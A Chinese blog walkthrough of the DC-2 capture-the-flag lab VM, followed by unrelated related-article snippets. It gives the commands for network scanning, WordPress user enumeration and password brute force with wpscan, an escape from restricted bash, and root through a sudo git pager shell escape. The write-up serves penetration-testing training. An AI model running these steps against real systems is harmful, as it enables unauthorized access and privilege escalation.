DC-2 靶场渗透

news2024/11/24 9:13:04

环境:kali    ip:192.168.157.128

靶机:dc-2    ip:192.168.157.129

确保kali和靶机在NAT模式下

1.nmap

ip add    #查看kali的IP地址

nmap -sP 192.168.157.0/24      #扫描192.168.157.0这个网段下的存活主机

得到到靶机的IP:192.168.157.129

nmap -A -p- 192.168.157.129  #扫描靶机端口开放的情况

2.访问dc-2

用火狐访问dc-2出现一下错误

1.修改文件

修改vi /etc/hosts文件,在文件最下面添加下面一行

192.168.157.129   dc-2  #靶机IP地址和名字

2.再次访问dc-2

3.目录枚举

dirsearch -u http://dc-2/ -e * -x 403 404

-u http://dc-2/: 指定要扫描的目标 URL 为 “http://dc-2/”
-e : 指定要枚举的文件扩展名为所有( 表示通配符,即所有扩展名)
-x 403 404: 指定要忽略的 HTTP 状态代码为 403 (Forbidden)和 404(Not Found)

访问http://dc-2/wp-login.php是一个登录界面

4.cewl 构建字典

cewl http://dc-2/ -w /root/桌面/dict.txt

http://dc-2/: 指定要提取内容的网页为 “http://dc-2/”

-w /root/桌面/dict.txt: 指定保存提取结果的文件路径为 “/root/桌面/dict.txt”

5.用户枚举

wpscan --url dc-2 -e u

#使用 WPScan 工具对 “dc-2” 进行扫描

得到三个用户

wpscan --url dc-2 -U /root/桌面/name.txt -P /root/桌面/dict.txt--url dc-2: 指定要扫描的WordPress 网站 URL 为 “dc-2”

-U /root/桌面/name.txt: 使用提供的用户名字典文件 “/root/桌面/name.txt” 进行用户名枚举

-P /root/桌面/dict.txt: 使用提供的密码字典文件 “/root/桌面/dict.txt” 进行密码破解

获得jerry 和tom的账号和密码

6.登录账号

1.登录Jerry的账号

查看flag

查看flag2

7.ssh远程连接

用ssh远程连接tom

ls 发现含有flag3.txt这个文件

cat发现没有权限

-rbash 是 Restricted Bash(受限 Bash)的缩写,是一种受限制的 Bash shell,用于限制用户在交互式 shell 环境中的功能

用vi设置shell来绕过rbash

8.更新环境变量 PATH

 export PATH=$PATH:/bin/   #将 /bin/ 目录添加到 PATH 环境变量中
 export PATH=$PATH:/usr/bin/   #将 /usr/bin/ 目录添加到 PATH 环境变量中

cat flag3.txt  #查看flag3.txt

su - jerry         #切换jerry用户

cat flag4.txt    #查看flag4.txt的内容

提示让我们用git

sudo -l   #用于列出当前用户被允许以超级用户权限(root)执行的命令列表

发现git能使用root的权限

sudo git help config  #使用 sudo 权限来调用 git 命令

回车

#然后输入

!/bin/bash

whoami  #显示当前用户登录

find / -name *flag*   #查找根目录下含有flag字符串的文件名

 cd /root   #切换到root目录下

ls   # 列出目录内容

cat final-flag.txt  #查看这个文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1531762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络编程——预备知识

网络编程——预备知识 🍃套接字🌿什么是套接字🌿套接字的类型🌿套接字的位置 🍃IP🍃端口号Port🍃字节序🍃地址信息结构(结构体类型) 🍃套接字 &a…

spring整合Sentinel

安装sentinel: 执行命令; java -jar sentinel-dashboard-1.8.6.jar 注:sentinel的默认端口为8080,容易出现tomcat的冲突。 当端口冲突,可以使用该指令修改sentinel的端口 默认账号和密码都为sentinel Springcloud整合sentinel:…

【MySQL】学习和总结使用列子查询查询员工工资信息

🌈个人主页: Aileen_0v0 🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​💫个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-5odctDvQ0AHJJc1C {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

java 数据结构 排序算法

目录 排序 插入排序 直接插入排序 希尔排序( 缩小增量排序 ): 直接选择排序 堆排序 交换排序 冒泡排序 快速排序递归 Hoare法 挖坑法 前后指针法 快速排序优化 快速排序非递归 归并排序 归并排序非递归 排序算法复杂度及稳定性分析 计数排序 排序…

YOLO_you only look once

前言 计算机图形学的课程即将结束,我需要提交一份关于YOLO模型的学习报告。在这段时间里,我对YOLO进行了深入的学习和研究,并记录下了我的学习过程和心得体会。本文将详细介绍YOLO模型的原理、优缺点以及应用领域,希望能够为后续…

matlab 混沌系统李雅普洛夫指数谱相图分岔图和庞加莱界面

1、内容简介 略 65-可以交流、咨询、答疑 2、内容说明 matlab 混沌系统李雅普洛夫指数谱相图分岔图和庞加莱界面 混沌系统李雅普洛夫指数谱相图分岔图和庞加莱界面 李雅普洛夫指数谱、相图、分岔图、庞加莱界面 3、仿真分析 略 4、参考论文 略

UE4_调试工具_绘制调试球体

学习笔记,仅供参考! 效果: 步骤: 睁开眼睛就是该变量在此蓝图的实例上可公开编辑。 勾选效果:

函数栈帧的创建和销毁 - 局部变量|函数传参|函数调用|函数返回|图文详解

目录 1.寄存器EBP和ESP 2.函数栈帧的创建 3.函数的调用 4. 函数栈帧的销毁 函数栈帧(function stack frame)是在函数调用期间在栈上分配的内存区域,用于存储函数的局部变量、参数、以及用于函数调用和返回的相关信息。每当函数被调用时&a…

Redis 应用与原理(三)

更好的阅读体验 \huge{\color{red}{更好的阅读体验}} 更好的阅读体验 Redis Cluster 解决方案 基础概念 首先,分析一下主从哨兵模式带来的问题: 在主从 哨兵的模式下,仍然只有一个 Master 节点,当并发请求较大时,哨兵…

config.properties的存放位置在Javaweb和Java工程中的区别

Java项目中:一般是与src平行的设置一个config目录,然后把配置文件放到config目录里面 Javaweb中:一般放到src目录下 顺便补习一下Properties的用法 package config;import java.io.FileInputStream; import java.io.FileOutputStream; impor…

JD商品详情原数据 API 返回值说明

一、应用场景 商品详情原数据API的应用场景广泛而多样。具体来说,它可以被用于以下方面: 1、电商平台数据分析:电商平台可以通过商品详情原数据API提取商品销售数据、质量评分、评论和反馈等信息,从而帮助用户更好地理解市场和竞…

QT charts模块画图

QT charts模块画图 在项目中使用Qt Charts模块,必须在项目的配置文件(.pro文件)添加行语句。 QT += core gui charts或者 QT += core gui QT += charts在需要使用QtCharts的类的头文件或源文件中,包含如下语句 #include <QWidget> #include &…

Java基础 学习笔记六

自增运算符 /* 自加1-- 自减11. 可以出现在变量前&#xff0c;也可以出现在变量后i 可以i 也可以像这种欲奴算符&#xff0c;只有一边有操作数&#xff0c;我们把这种运算符称为 一元运算符a b 这里的 两边有两个操作数&#xff0c;所以这种运算符被称为 二元运算符2. 无论出…

基于微信小程序的电影交流平台

技术&#xff1a;springbootmysqlvue 一、背景 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。所以各行业&#xff0c;尤其是规…

matlab中Signal Editor定义梯形信号输出矩形信号

matlab中Signal Editor定义梯形信号输出矩形信号&#xff0c;可以通过如下勾选差值数据实现梯形信号输出。

nginx学习记录-目录结构及基本配置

1. nginx目录结构 执行tree命令就可以看到nginx的目录结构了&#xff0c;主要有4个&#xff0c;分别是配置目录conf&#xff0c;还有界面目录html&#xff0c;日志目录logs以及程序sbin/nginx。 2. nignx基本配置 nginx的主要配置文件为/usr/local/nginx/conf/nginx.conf&…

网络协议与层次划分:探索计算机网络体系结构

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

关于继承是怎么样的?那当然是很好理解之

本文描述了关于继承的大部分知识&#xff0c;但是并不全&#xff0c;每篇博客之间的知识都有互串&#xff0c;所以需要把几篇文章合起来看&#xff0c;学会融会贯通&#xff01; 温馨提示&#xff1a;使用PC端观看&#xff0c;效果更佳&#xff01; 目录 1.继承是什么 2.什…

FREERTOS任务通知

从 v8.2.0 版本开始&#xff0c;FreeRTOS 新增了任务通知(Task Notifictions)这个功能&#xff0c;可以使用任务通知来代替信号量、消息队列、事件标志组等这些东西。使用任务通知的话效率会更高。 有个疑惑&#xff1a; 队列是两个互通消息的任务之外的一个特性&#xff0c;而…

基于springboot+vue的中山社区医疗综合服务平台

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…